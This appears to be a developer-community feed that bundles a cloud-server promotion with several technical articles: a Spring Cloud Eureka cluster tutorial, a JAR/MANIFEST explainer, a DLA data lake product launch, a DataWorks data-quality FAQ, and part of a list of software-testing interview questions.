    快速建站适合新手快速建站,价格实惠,快速上云价格实惠,ECS服务器最低0.9折快速建站,一键上云100元拥有网站,错过再等一年 ECS突发性能 t5新用户20%性能基线,性价比之王!个人开发者建站必备1核2G1年1~5M可选带宽40G高效云盘年中促限购3台低至0.9折¥91.80/年起¥928.20/年加入购物车立即购买 ECS共享型 s6新用户最新代产品,性能强劲,广泛适用于建站等应用2核4G1年1~5M可选带宽40G高效云盘年中促限购3台低至2.2折¥414.48/年起¥1469.52/年加入购物车立即购买 ECS共享型 s6新用户最新代产品,性能强劲,广泛适用于建站等应用2核4G3年1~5M可选带宽40G高效云盘年中促限购3台低至2折¥1243.44/3年起¥4408.56/3年加入购物车立即购买
    全站提速适用企业应用,2核4G及以上配置+OSS+企业版DNS+PolarDB ,打开更快ECS服务器低至1.6折,速抢~云解析保障网站访问快速、安全、稳定OSS及PolarDB读写速度更快 ECS共享型 s6企业新用户最新代产品,性能强劲,广泛适用于建站等应用2核4G1年1~10M可选带宽40~100G高效云盘年中促限购3台低至1.6折¥301.44/年起¥1582.56/年加入购物车立即购买 ECS共享型 s6企业新用户最新代产品,性能强劲,广泛适用于建站等应用2核4G3年1~10M可选带宽40~100G高效云盘年中促限购3台低至1.6折¥904.32/3年起¥4747.68/3年加入购物车立即购买 对象存储OSS适合图片/音视频等多媒体数据存储,数据实时处理,海量存储无上限标准(LRS)包500GB1年深度集成数据处理服务生命周期管理降低成本年中促折上9折¥437.40/年起¥210.60/年加入购物车立即购买查看更多商品
    畅快购物如何支撑业务快速发展?更强大性能更优的服务器,丰富的配套,保障用户畅快购物网站监控及日志分析必备工具快速识别身份证等卡证信息高精准低成本营销通路 ECS通用型g6CPU与内存配比1:4 最新代企业级产品,性能全面提升2核8G1M带宽40G高效云盘年中促限购5台河源1年7折¥2393.40/年起¥930.60/年加入购物车立即购买 ECS内存型r6CPU与内存配比1:8 最新代企业级产品,性能全面提升2核16G1M带宽40G高效云盘年中促限购5台河源1年7折¥3048.60/年起¥1211.40/年加入购物车立即购买 消息队列 Kafka 版100%兼容kafka(0.10.0.0及以上版本)标准版比自建更便宜进一步优化开源痛点开箱即用,无缝迁移年中促大数据必备¥9.90/月起¥1573.60/月加入购物车立即购买查看更多商品

    企业初创服务

    数字新基建

    业务安全

    企业应用

    音视频专区

    查看更多

    更多活动

    ]]>
    SpringCloud--Eureka集群与原理-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Eureka集群与原理

    原理

    Eureka Server注册中心的集群和Dubbo的ZooKeeper注册中心集群在结构上有很大的不同。

      Eureka Server注册中心集群中每个节点都是平等的,集群中的所有节点同时对外提供服务的发现和注册等功能。同时集群中每个Eureka Server节点又是一个微服务,也就是说,每个节点都可以在集群中的其他节点上注册当前服务。又因为每个节点都是注册中心,所以节点之间又可以相互注册当前节点中已注册的服务,并发现其他节点中已注册的服务。
    

    • CAP理论指出,一个分布式系统不可能同时满足C(一致性)、A(可用性)和P(分区容错性)。
      由于分布式系统中必须保证分区容错性,因此我们只能在A和C之间进行权衡。

    Zookeeper保证的是CP, 而Eureka则是保证AP。


    组件调用关系

    搭建Eureka注册中心集群,实现负载均衡+故障容错。

    Eureka集群:==相互注册,相互守望。==

    服务提供者

    1、启动后,向注册中心发起register请求,注册服务

    2、在运行过程中,定时向注册中心发送renew心跳,证明“我还活着”。

    3、停止服务提供者,向注册中心发起cancel请求,清空当前服务注册信息。

    服务消费者

    1、启动后,从注册中心拉取服务注册信息

    2、在运行过程中,定时更新服务注册信息。

    3、服务消费者发起远程调用


    数据存储结构

    既然是服务注册中心,必然要存储服务的信息,我们知道ZK是将服务信息保存在树形节点上。而下面是Eureka的数据存储结构:

    在这里插入图片描述

    • Eureka的数据存储分了两层:数据存储层和缓存层。Eureka Client在拉取服务信息时,先从缓存层获取(相当于Redis),如果获取不到,先把数据存储层的数据加载到缓存中(相当于Mysql),再从缓存中获取。值得注意的是,数据存储层的数据结构是服务信息,而缓存中保存的是经过处理加工过的、可以直接传输到Eureka Client的数据结构。

    集群

    在这里插入图片描述
    我们使用笔记本 配置 Eureka 集群

    • 修改映射配置添加进hosts文件

    mac系统的,接下来写的步骤是mac的。打开终端,输入sudo vim /etc/hosts来修改hosts文件。(权限不够需要加上sudo并输入密码)
    在最后一行加入:

    127.0.0.1       eureka7001.com
    127.0.0.1       eureka7002.com
    127.0.0.1        eureka7003.com

    然后:wq!保存退出。

    • 修改 Eureka 7001 的 yml 配置
    eureka:
      instance:
        hostname: eureka7001.com  #eureka服务端的实例名称
      client:
        register-with-eureka: false
        fetch-registry: false
        service-url:
          #集群版  相互注册,相互守望
          defaultZone: http://eureka7002.com:7002/eureka/, http://eureka7003.com:7003/eureka/ 
          
    
    • 修改 Eureka 7002 的 yml 配置
    eureka:
      instance:
        hostname: eureka7002.com  #eureka服务端的实例名称
      client:
        register-with-eureka: false
        fetch-registry: false
        service-url:
          #集群版  相互注册,相互守望
          defaultZone: http://eureka7001.com:7001/eureka/, http://eureka7003.com:7003/eureka/ #相互注册,相互守望
    
    • 修改 Eureka 7003 的 yml 配置
    eureka:
      instance:
        hostname: eureka7003.com  #eureka服务端的实例名称
      client:
        register-with-eureka: false
        fetch-registry: false
        service-url:
          #集群版  相互注册,相互守望
          defaultZone: http://eureka7001.com:7001/eureka/, http://eureka7002.com:7002/eureka/ #相互注册,相互守望
    

    在这里插入图片描述
    在这里插入图片描述

    • 将客户端注册到 eureka 集群
    defaultZone: http://eureka7001.com:7001/eureka,http://eureka7002.com:7002/eureka,http://eureka7003.com:7003/eureka

    在这里插入图片描述


    actuator微服务信息完善

    修改 eureka client 的yml文件:

    # client:    
    #     ...    instance要和client对齐
      instance:
        instance-id: payment8001
        prefer-ip-address: true   #访问路径可以显示ip地址

    修改前:

    在这里插入图片描述

    修改后:
    在这里插入图片描述


    Eureka自我保护

    保护模式主要用于一组客户端和Eureka Server 之间存在网络分区场景下的保护。一旦进入保护模式,Eureka Server将会尝试保护其注册表的信息,不再删除服务注册表的数据,也就是不会注销任何微服务
    在这里插入图片描述
    导致原因 :某时刻某一个微服务不可用了 ,Eureka不会立刻清理,依旧会对该微服务对信息进行保存,属于CAP里面对AP分支

    • Eureka自我保护机制

        为了防止EurekaClient 可以正常运行,但是Server 在网络不通对情况下,Server不会立即剔除Client 
      
      ![在默认的情况下,如果EurekaServer 在一定时间内没有接收到某个微服务的实例心跳,EurekaServer将注销该实例  (默认90秒)。](https://img-blog.csdnimg.cn/20200819225642530.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTc3ODM4,size_16,color_FFFFFF,t_70#pic_center)

      只有在一定时间内丢失大量服务的心跳才开启自我保护模式。

    在这里插入图片描述

    禁止自我保护

      server:
        #关闭自我保护,默认为true
        enable-self-preservation: false
        #心跳的间隔时间,单位毫秒
        eviction-interval-timer-in-ms: 2000
    
       #Eureka客户端向服务端发送心跳的时间间隔,单位秒(默认30秒)
       lease-renewal-interval-in-seconds: 1
       #Eureka服务端在收到最后一次心跳后等待的时间上限,单位秒(默认90秒),超时剔除服务
       lease-expiration-duration-in-seconds: 2
    

    ]]>
    一文读懂jar包的小秘密-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 简介

    java程序员每天不是在创建jar包就是在创建jar包的路上,并且各种依赖引用都是以jar包的形式展示的。但是随着现代IDE的出现,我想很多程序员已经基本上很少直接和jar包打交道了。

    换句话说,他们已经不认识jar包了。

    那么jar包到底是什么呢?它有哪些小秘密呢?一起来看一下吧。

    jar包到底是什么

    jar包其实是一种zip格式的文件,所以说你实际上是可以使用zip相关的命令来对jar包进行创建或者解压缩操作。

    不同的是jar包中多了一个META-INF文件夹。通过这个文件夹,jar包可以执行更多的操作。

    JDK也自带了一个jar命令,通过jar命令我们可以实现创建,更新jar包的操作,下图是JDK8中jar命令的说明:

    因为JDK9之后引入了模块化的概念,所以JDK9之后jar命令有了比较大的变化:

    我们看一下JDK14中的jar命令的用法:

    这里主要不是讲jar命令,所以我们不具体展开。

    META-INF目录

    jar包和zip包最大的区别就在于jar包中包含了META-INF目录(不是必须的),我们看一个比较常用的lombok.jar包的结构是怎么样的:

    这个版本比较新,所以它使用的是最新的JPMS的写法,大家可以看到在jar包的根目录下面有一个module-info.class文件,表示这个jar包使用的是模块化。

    然后再看一下META-INF目录,里面有一个MANIFEST.MF文件:

    Manifest-Version: 1.0
    Ant-Version: Apache Ant 1.7.1
    Created-By: 14.3-b01-101 (Apple Inc.)
    Premain-Class: lombok.launch.Agent
    Agent-Class: lombok.launch.Agent
    Can-Redefine-Classes: true
    Main-Class: lombok.launch.Main
    Lombok-Version: 1.18.10

    MANIFEST.MF主要用来定义package相关的数据,这里我们可以看到lombok的MANIFEST.MF文件定义了manifest的版本号,创建时间,版本号和几个类型的class。

    services文件夹里面存放的可以对外提供的服务。

    这里列出的文件并不全,实际上还有下面几种文件:

    • INDEX.LIST

    可以使用 -i在生成jar包的时候自动创建,是class的index文件,主要用来加速class加载。

    • x.SF

    JAR包的签名文件。

    • x.DSA

    与具有相同基本文件名的签名文件关联的签名块文件。 该文件存储相应签名文件的数字签名。

    • versions/

    主要为使用多版本的特性准备的,里面存储的是不同版本的class和资源。

    比如下面命令创建了多个版本发行的jar包,并且将一些文件放在 META-INF/versions/9 目录中。

     jar --create --file mr.jar -C foo classes --release 9 -C foo9 classes

    module-info.class

    假如我们使用的是JDK9之后的JPMS模块化,那么就会生成这么一个module-info.class。这个文件主要是描述模块和外部模块直接的关系。

    看一下lombok的例子:

    module lombok {
        requires java.compiler;
        requires java.instrument;
        requires jdk.unsupported;
        requires static org.mapstruct.processor;
    
        exports lombok;
        exports lombok.experimental;
        exports lombok.extern.apachecommons;
        exports lombok.extern.java;
        exports lombok.extern.jbosslog;
        exports lombok.extern.log4j;
        exports lombok.extern.slf4j;
        exports lombok.extern.flogger;
    
        provides javax.annotation.processing.Processor with lombok.launch.AnnotationProcessorHider$AnnotationProcessor;
        provides org.mapstruct.ap.spi.AstModifyingAnnotationProcessor with lombok.launch.AnnotationProcessorHider$AstModificationNotifier;
    }

    这里面我们定义了依赖的类和service providers,同时也定义了对外提供的类。

    在JDK9之后,存在两种path,一种是之前的class path,一种是module path。当 modular JAR被部署在module path中的时候,它就是一个modular JAR。当他被部署在class path中的时候,就是一个non-modular JAR。

    同样的,如果是一个non-modular JAR被定义在module path中,那么这个non-modular JAR就自动被转换成了一个automatic module。

    如果jar包在MANIFEST.MF中定义了Automatic-Module-Name,那么module名字就是这个值,否则会从JAR的名字来定义这个module。

    automatic module主要是为了向下兼容而产生的。

    关于JPMS的更多信息可以参考我之前写的文章:JDK9的新特性:JPMS模块化.

    versions

    versions主要和 multi-release JAR一起使用的:

    Multi-Release: true

    所谓multi-release JAR就是说一个jar包可以支持不同版本的JDK。我们可以根据需要指定不同版本的JDK所依赖的class文件或者属性文件。这个特性在我们进行JDK升级的时候还是很有帮助的。

    一般来说,目录结构是这样的:META-INF/versions/N

    其中N表示的是JDK的主要发行版本,比如9,10,11等。

    类加载器会先去META-INF/versions/N目录中加载所需要的class,然后会去其他的低版本的META-INF/versions/N目录中加载所需要的class,最后才会在META-INF/的根目录加载其他的class文件。

    MANIFEST.MF详解

    MANIFEST.MF中存放的是key:value格式的配置信息,这些配置信息又可以分成两部分,第一部分是main-section信息,第二部分是individual-section。

    我们举个简单的例子:

    Manifest-Version: 1.0
    Created-By: 1.8 (Oracle Inc.)
    Sealed: true
    Name: foo/bar/
    Sealed: false

    其中

    Manifest-Version: 1.0
    Created-By: 1.8 (Oracle Inc.)
    Sealed: true

    就是main-section信息,我们用一张图来看一下main-section的信息有哪些:

    在main-section信息下发可以接一个Name: Value,表示开启独立的针对于具体entry的属性(Per-Entry Attributes)配置:

    Name: foo/bar/
    Sealed: false

    比如上面的属性是专门针对于包foo/bar/的,并且设置其Sealed属性为false。

    Per-Entry Attributes除了 package versioning 和 sealing信息外,还可以定义Content-Type,Java-Bean,x-Digest-y和Magic属性。

    JAR包签名

    JAR包可以通过使用jarsigner来对其进行签名。和签名相关的文件是:

    • META-INF/MANIFEST.MF
    • META-INF/*.SF
    • META-INF/*.DSA
    • META-INF/*.RSA
    • META-INF/SIG-*

    签名过后的jar跟原来的jar其实并没有什么不同,只不过在META-INF/文件夹中多出了两个文件,一个是签名文件,一个是签名block文件。

    签名文件

    签名文件是以.SF结尾的,这个文件和MANIFEST.MF很类似,可以指定Signature-Version和Created-By。

    除此之外,还可以指定和安全相关的属性:

    • x-Digest-Manifest-Main-Attributes: 其中x是java.security.MessageDigest中指定的算法,表示的主要属性的摘要。
    • x-Digest-Manifest: 表示的是整个manifest的摘要。

    这两个属性主要用来做验证签名用的。

    举个例子:

    如果我们的manifest是下面这样的:

        Manifest-Version: 1.0
        Created-By: 1.8.0 (Oracle Inc.)
    
        Name: common/class1.class
        SHA-256-Digest: (base64 representation of SHA-256 digest)
    
        Name: common/class2.class
        SHA1-Digest: (base64 representation of SHA1 digest)
        SHA-256-Digest: (base64 representation of SHA-256 digest)

    那么相应的签名文件应该是这样的:

        Signature-Version: 1.0
        SHA-256-Digest-Manifest: (base64 representation of SHA-256 digest)
        SHA-256-Digest-Manifest-Main-Attributes: (base64 representation of SHA-256 digest)
    
        Name: common/class1.class
        SHA-256-Digest: (base64 representation of SHA-256 digest)
    
        Name: common/class2.class
        SHA-256-Digest: (base64 representation of SHA-256 digest)

    签名文件的摘要

    如果再对.SF文件进行摘要,那么就会得到签名文件的摘要文件:

    • .RSA (PKCS7 signature, SHA-256 + RSA)
    • .DSA (PKCS7 signature, DSA)

    Sealed

    上面我们讲到了一个Sealed属性:

    Name: javax/servlet/internal/
    Sealed: true

    这个属性的意思是,javax/servlet/internal/包中的所有类必须从这个jar包中加载。

    这个属性主要是从jar包的安全性来考虑的。

    本文已收录于 http://www.flydean.com/java-jar-in-detail/

    最通俗的解读,最深刻的干货,最简洁的教程,众多你不知道的小技巧等你来发现!

    欢迎关注我的公众号:「程序那些事」,懂技术,更懂你!

    ]]>
    阿里云云原生数据湖分析DLA重磅发布-数据湖管理,助力企业一站式管理OSS数据湖存储数据 -阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 一、什么是数据湖方案

    数据湖当前在国内外是比较热的方案,MarketsandMarkets市场调研显示预计数据湖市场规模在2024年会从2019年的79亿美金增长到201美金。一些企业已经构建了自己的云原生数据湖方案,有效解决了业务痛点;还有很多企业在构建或者计划构建自己的数据湖,Gartner 2020年发布的报告显示目前已经有39%的用户在使用数据湖,34%的用户考虑在1年内使用数据湖。在构建自己的数据湖之前还是需要充分评估什么是数据湖、数据湖方案能够带来什么价值、如何快速构建数据湖。

    1.1 什么是数据湖

    Wikipedia上说数据湖是一类存储数据自然/原始格式的系统或存储,通常是对象块或者文件,包括原始系统所产生的原始数据拷贝以及为了各类任务而产生的转换数据,包括来自于关系型数据库中的结构化数据(行和列)、半结构化数据(如CSV、日志、XML、JSON)、非结构化数据(如email、文档、PDF等)和二进制数据(如图像、音频、视频)。
    从上面可以总结出数据湖具有以下特性:

    • 数据来源:原始数据、转换数据
    • 数据类型:结构化数据、半结构化数据、非结构化数据、二进制
    • 数据湖存储:可扩展的海量数据存储服务

    1.2 数据湖方案价值

    数据湖的定义可以看出相比较数据库、数据仓库等,数据湖要处理的数据类型更加开放、更加复杂。数据库主要是处理结构化数据的联机事务;数据仓库主要处理大数据量结构化数据的分析。而数据湖主要是对海量的结构化、半结构化、非结构化、二进制数据进行存储,同时还需要对这些数据进行管理和价值挖掘。接下来可以看下云上沉淀的典型数据湖方案:

    方案一:一站式端到端数据湖存储、管理、分析&计算方案

    • 场景:企业在构建数据湖方案时,期望构建完整、通用、可扩展的解决方案,涉及到数据摄入、数据存储、数据管理、数据价值挖掘全链路,同时需要有上下游工具的支持。
    • 方案价值:数据摄入侧支持一键建湖、流式入湖归档数据到OSS存储;数据管理侧支持对Database、文本、流式数据统一到OSS上面构建元数据管理;数据分析及计算侧支持通过Serverless Spark进行ETL及复杂计算、Serverless SQL(兼容 Presto)进行交互式查询。工具对接侧支持对接DMS调度、业务APP、QuickBI来进行管理。
      方案一.png

    方案二:OSS 大规模数据(自由编程)清洗&机器学习方案

    • 场景:企业对存储在OSS上面的大规模数据需要进行多种计算负载处理,比如ETL、机器学习、图计算等,同时利用python、java、scala、R等生态进行自由编程。
    • 方案价值:DLA Serverless Spark能够友好的支持该场景。弹性方面Serverless Spark完全弹性,1分钟启动300个节点进行计算;生态方面Serverless Spark的多数据源能力,提供外部数据源批量入库、联邦分析能力;算法及Code方面支持 Python、用户Code、机器学习等原生KPI;离线数仓(复杂分析)方面支持复杂分析,提供天/月级别的报表等。
      spark方案.jpg

    方案三:不同类型数据源联邦查询分析方案

    • 场景:企业的业务系统数据一般存储在数据库比如MySQL、MongoDB等;日志数据因为数据量大的特性会存储在OSS上面。通过数据湖分析方案能够让这两种数据进行联邦查询,释放数据价值。
    • 方案价值:DLA Serverless SQL(兼容Presto)支持15种以上的数据源,能够满足95%的联邦分析数据源对接。DLA Serverless SQL支持高效的交互式查询,在读写数据源端做了大量下推优化。DLA Serverless SQL通过JDBC可以对接包括DMS、QuickBI、tableau等系统满足业务开发需求。
       方案三.png

    二、构建数据湖方案面临的挑战

    上面的两个数据湖方案是各大企业在阿里云上面通过实践沉淀下来的。还是有不少企业会问这两个数据湖方案确实很有价值,但是在落地的过程中总是会遇到一些问题,导致方案落地缓慢,比如:

    • 如何构建数据的统一管理视图:OSS不像数据库及数据仓库具有元数据管理系统,导致海量数据存储后难以管理。另外各个数据库、数据仓库等系统有自己的元数据,形成了数据孤岛,难以进行统一管理,释放数据联邦分析价值;
    • 如何构建多租户的权限管理:如果全域数据都使用数据湖方案管理,企业多部门研发人员共同使用数据湖挖掘价值,但是缺少有效的数据租户及权限隔离,产生数据风险;
    • 如何自动化的构建元数据:OSS上面的文件量巨大、且这些数据是动态增长变化的;如果手动创建元数据一方面效率低,同时无法满足动态更新的需求;
    • 如何简单的进行数据入湖:为了满足数据写入的实时性,比如日志场景数据的入口是在类似Kafka、Loghub等消息系统,这些数据怎么高效的归档到OSS进行后续的分析?存储在数据库中的数据以前为了节省成本,以及保证稳定性,通常会只保留最近一段时间的数据,在有数据湖方案后,想要把这些数据归档到数据湖做后续的分析,那么如何简单高效的归档到OSS数据湖呢?

    结合用户的这些挑战和痛点,阿里云数据湖分析服务DLA的数据湖管理功能可以有效的提高构建数据湖的效率,接下来一起把这些功能玩转起来吧

    三、DLA高效的数据湖管理功能

    阿里云数据湖分析服务DLA的数据湖管理功能定位为帮助用户构建统一、安全、高效、开放的数据湖解决方案。从下面的数据湖方案整体架构图可以看出:

    • 存储对接:数据湖管理向下管理好数据湖存储的数据,包括构建OSS目录的元数据系统以及方便的把流式数据及Database的数据归档到OSS管理起来;
    • 分析与计算支持:数据湖管理向上为多种数据湖计算引擎提供统一的元数据系统,目前支持数据湖原生分析与计算引擎DLA Serverless SQL(兼容Presto)、DLA Serverless Spark;部分Hadoop&Spark生态,比如Apache Hudi;AnalyticDB、MaxCompute、EMR等系统也可以对接数据湖管理的元数据系统。
      数据湖管理概括.png

    数据湖管理核心功能包括:元数据管理、元数据爬取、数据入湖、实时数据湖。下面一起来看下这些功能是如何高效的帮助构建数据湖的。

    3.1 元数据管理

    数据湖存储的数据量更加大、数据格式更加丰富,为了对这些数据进行安全的管理和挖掘价值,需要一套同时具备基本管理能力、多租户权限管理能力、扩展能力、开放能力的统一元数据系统。阿里云数据湖分析服务DLA的元数据系统具备这些能力。

    3.1.1 DLA元数据管理介绍

    下面是数据湖分析服务DLA的元数据管理系统的架构图:

    • 存储层:DLA元数据管理系统是一套多租户的服务,管理所有用户元数据,目前是每个regoin部署一套。智能数据路由层,用来做租户元数据的存储管理,能够根据用户元数据量级动态扩展调整;
    • 核心服务层:元数据管理系统提供database、table、partition的服务进行库、表、分区、列的管理能力,同时支持使用租户服务、权限服务、生命周期管理,权限粒度可以支持到库、表、列;
    • 接入层:统一元数据管理服务为了支持更多计算引擎对接,同时支持通过JDBC、阿里云OpenAPI来使用元数据服务;目前以JDBC为主,阿里云OpenAPI对接进行中。身份认证支持对接阿里云RAM账号体系,以及DLA账号体系。同时会有元数据相关的请求QPS监控。
    • 生态层:目前这套元数据管理支持对接云原生的数据湖分析引擎DLA Serverless SQL&Spark;开源Hadoop&Spark,其中Apache 顶级项目Hudi已经原生支持了阿里云数据湖分析元数据HUDI-841;阿里云数据库备份DMS也使用这套元数据作为其备份数据湖分析的元数据系统;AnalyticDB、EMR、MaxCompute等也可以进行对接。
      元数据管理介绍.png

    3.1.2 DLA元数据管理上手

    • 可视化全局管理视图
      如下图可以在阿里云数据湖分析DLA的控制台“元数据管理”进行元数据的操作,比如“创建Schema”、查看库表信息、查询数据等。

    元数据管理页面.png

    • 创建元数据

      • 自动化元数据创建:可以参考3.2元数据爬取、3.3数据入湖的详细介绍
      • SQL手动创建:支持HIVE风格的DDL语法
      • SQL自动创建:支持create table like mapping语法自动识别数据源文件的列,减少手写很多列及类型的麻烦;支持MSCK REPAIR DATABASE语法自动把Database下面的表创建好;支持MSCK REPAIR TABLE自动把table下面的分区和数据目录创建映射好。
    • 权限管理:目前支持通过JDBC进行权限的GRANT和REVOKE,通过阿里云OpenAPI也在研发中

      • GRANT:权限类型可以取值为SELECT、 SHOW、 ALTER、DROP、CREATE、INSERT、UPDATE、DELETE、GRANT OPTION、 ALL、ALL PRIVILEGES、USAGE等,通过这些类型进行用户的权限授权
      • REVOKE:和GRANT对称,可以进行用户权限的撤销授权。

    3.2 元数据爬取

    用户基于OSS进行数据湖存储时,数据具有规模大、格式丰富、动态变化、非结构化字段多的特点,这种情况下手动创建的可行性及成本会比较高。

    3.2.1 DLA元数据爬取介绍

    元数据爬取功能可以自动为OSS上面的数据文件创建及更新数据湖元数据,方便分析和计算。具有自动探索文件数据字段及类型、自动映射目录和分区、自动感知新增列及分区、自动对文件进行分组建表的能力。目前主要支持了自动爬取OSS上面的元数据,Database的自动元数据构建在开发中。核心功能包括:

    • 自动探索格式:企业存储在OSS上面的数据格式多种多样,比如常见的有json、csv、parquet、orc等,同时不同文件里面的字段数目及类型也是多种多样的。DLA元数据爬取功能具备自动探索这些schema的能力。
    • 增量发现:存储在OSS上面的数据是动态变化的,比如用户会向同一个目录下面持续的上传文件,且文件的字段数也会增加、Loghub投递到OSS上面的文件会增量的通过日期目录来写入等。元数据爬取功能能够覆盖这些场景;
    • 规模扩展:随着要爬取的OSS上面文件规模的增大,元数据爬取任务可以自动弹性伸缩资源来保证元数据爬取任务端到端的延迟。

    元数据爬取.png

    3.2.2 DLA元数据爬取10分钟上手

    使用DLA的元数据爬取可以通过DLA的控制台,同时元数据爬取开放阿里云OpenAPI也在研发中,同时也会被集成到其他云产品中。下面一起玩转一下元数据爬取功能:

    • 创建任务:左侧选择要爬取的具体OSS路径,右侧配置爬取的元数据要存储到DLA元数据系统的Schema名称即可,其他高级选项根据实际需求调整。

    元数据爬取创建.png

    • 任务管理:爬取任务会自动周期运行,可以通过这个界面管理任务的运行情况。支持查看任务的运行状态、配置的修改、跳转到DLA的SQL窗口进行快速的数据查询。

    元数据爬取管理.png

    3.3 数据入湖

    企业并不是所有业务数据直接存储在数据湖OSS中,其他的业务数据存储主要有两类包括消息中间件、Database,而这些数据都有归档存储到数据湖OSS中进行统一计算分析的需求。因此简单易用的数据入湖功能成为普遍的需求。

    3.3.1 DLA数据入湖介绍

    阿里云数据湖分析DLA的数据入湖支持Database的全量&增量&多库合并建入湖、支持消息中间件数据的实时入湖等能力。

    • Database一键建湖:主要支持全量、增量、多库合并三种模式,其中增量模式正在开发中;核心价值如下:

      • 丰富的数据源:包含OLTP的MySQL、SQLServer、POLARDB等,同时支持NoSQL的mongoDB等;
      • 自动感知源库结构变化:能够自动识别源库的增表、增加字段等同步更新到OSS数据湖;
      • 整库多表建湖:一键建湖能够自动同步数据库的整个Database下面所有表,而不需要每张表都去单独配置;
      • 分表&分库合并建湖:有些业务场景为了提高OLTP的查询性能及数据隔离性,经常会进行分库及分表。目前某用户使用该功能支持了8200+ SqlServer库合并到一个DLA的库里面,这样可以对分库的数据进行中心化统一分析。
      • 源库影响最小化:数据入湖通过动态调整源库连接数的方式、以及选择业务低峰期归档,最小化对源库的影响。

    一键建湖.png

    • 实时数据入湖:对于云kafka、Loghub等消息中间、数据库的CDC数据可以通过“实时数据入湖”方案构建数据湖。

    该方案基于DLA Serverless的Spark Streaming以及数据湖增量存储格式Apache HUDI来构建,通过HUDI增量写入OSS的数据,同时自动在DLA的元数据系统构建元数据。详细介绍可以参考文章,核心优势如下:    

    • 全链路数据延迟可达分钟级别,打造T + 0 数据湖;
    • 支持数据增量存储在OSS,支持Upsert/Delete,同时自动构建元数据管理;
    • 丰富的数据源,支持阿里云上超过95%数据源;
    • 一份数据存储在OSS,通过DLA Meta增量管理,降低存储成本低;

    实时数据湖.png

    3.3.2 Database一键建湖

    使用一键建湖可以通过DLA的控制台,同时可以通过数据管理DMS进行。下面主要介绍DLA控制台的使用,关于DMS使用一键建湖可以参考视频

    • 创建一键建湖:左侧选择数据源,可以包括RDS、PolarDB、MongoDB、ECS自建数据库;右侧配置源库的验证信息,以及在DLA生成的元数据名称即可。

    一键建湖创建.png

    • 任务管理:对于周期运行的建湖任务可以进行全局的管理,以及对建好的湖进行分析。

    数据入湖管理.png

    四、展望与总结

    数据湖分析DLA 是 Serverless的架构,支持 【按需与保留】 资源使用,打造最具性价比的数据湖分析平台;
    提供一站式的数据湖分析与计算服务,支持 ETL、机器学习、流、交互式分析,可以与OSS、数据库等多种数据源搭配使用;功能包括:数据入湖,元数据管理与自动发现,支持双引擎:【SQL(兼容Presto)分析、Spark计算服务】。其中数据湖管理这块会朝着更易用、更开放、更可靠方向迭代。
    注:数据湖管理控制台使用链接,数据湖管理及DLA的帮助文档
                   二维码.png

    ]]>
    DataWorks百问百答54:设置了数据质量校验,但是未触发校验怎么办?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    本周为大家解析设置了数据质量校验,但是未处触发校验的情况

    触发校验前提:

    DQC必须要在调度触发任务,并且对表数据有修改之后才可以触发,例如:
    1、insert overwrite table xxxxxxx
    2、create table as select xxxxxxx

    设置了校验,也有对表数据修改的操作,但未触发校验的日志表现情况:

    image.png
    触发了DQC Hook,但实际并没有进行数据质量校验的情况,是未触发实际的校验,一般有以下几种情况:

    1、如果是SQL级别的校验,在触发时,日志中打印的业务日期set SKYNET_BIZDATE=20190826;必须和insert的分区相符,才可以触发。类似如下截图所示,业务日期和触发分区不符,必须改成任务级别才可以。

    2、用户在分区表达式中设置了对当前时间前一天的校验,但在运行日志中,校验的又是当前时间的分区,会出现匹配不上分区的情况,不会触发规则校验,这时候,需要把分区表达式中改为对当前时间的校验,即:ds=${yyyymmdd}/xxxxxxxx/xxxx/xxx…… 
    下图中的另一个情况是:用户设置了多级分区,但日志中请求DQC的参数数据显示的分区顺序,没有和设置的分区表达式中的分区顺序匹配上,这也是一种不会触发校验的情况。
    image.png
    image.png

    3、odps表有二级分区,但在规则配置的分区表达式中,只设置了一级分区表达式,同样也会因为没有匹配上分区,而不触发校验。

    分区表达式

    分区表达式一定要写到最小粒度,而DQC支持的最小粒度为天。例如:我odps表有二级分区,ds=yyyymmdd hh=hh24,那么在写分区表达式时,一定要指定到二级分区hh,否则无法触发校验。
    其中弹内需要使用正则表达式来编写,弹内、公有云多级分区表达式如下所示:

    弹内多级分区写法:ds=${yyyymmdd-1}/hh=<[a-zA-Z0-9_-]*>
    公有云多级分区写法:ds=$[yyyymmdd]/hh=$[hh24]
    注意:弹内分区表达式符号使用“{}”,公有云符号使用“[]”。

    总结:

    触发数据质量规则校验,必须要对odps表数据有修改(insert、create)之后、表的分区也和规则设置的分区表达式匹配上方可触发哦。

    DataWorks百问百答历史记录 请点击这里查看>>

    更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】

    ]]>
    测试面试题集锦(六)| 软素质篇与反问面试官篇(附答案)-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800

    本文为霍格沃兹测试学院学员学习笔记。

    本系列文章总结归纳了一些软件测试工程师常见的面试题,主要来源于个人面试遇到的、网络搜集(完善)、工作日常讨论等,分为以下几个部分,供大家参考。如有错误的地方,欢迎指正。有更多的面试题或面试中遇到的坑,也欢迎补充分享。希望大家都能找到满意的工作,共勉之!~

    软件测试工程师面试题集锦

    1. 测试常见问题与流程篇
    2. 测试工具篇
    3. 计算机网络知识与数据库篇
    4. Linux 与 Python 编程技能篇
    5. 自动化测试与性能测试篇
    6. 软素质篇(10 大灵魂拷问)与反问面试官篇

    软素质篇(10 大灵魂拷问)

    1. 说一下自己的优点和缺点?
    • 避开岗位的核心技能
    • 把缺点放在场景中描述
    • 对缺点进行合理化解释
    • 优点随便说,主要方向还是在岗位上
    2. 是否能接受加班?(建议分情况作答)
    • 第一种情况:假设公司有重要的项目要赶。示范回答:贵公司现在正处于发展上升期,也在官网上有看到公司的重要项目成果,我觉得有时候因为赶项目进度、工作需要等忙起来是非常正常的,面对这种情况,我是非常愿意配合公司和团队的工作,让工作能够更顺利地完成,此外,我也相信自己一定能在公司安排的工作中获得到锻炼,获得更快地成长。
    • 第二种情况:假设自己作为新人,对业务不熟悉。示范回答:我作为公司刚进去的新人,可能刚开始进入公司接触业务时不太熟练,会出现需要加班的情况,但我更愿意提高工作效率,并积极向公司的前辈请教学习,在一定的时间内完成工作而不是拖到下班之后。当然, 如果有紧急的事情,忙起来需要加班也是可以接受的。
    3. 你对薪酬的要求?
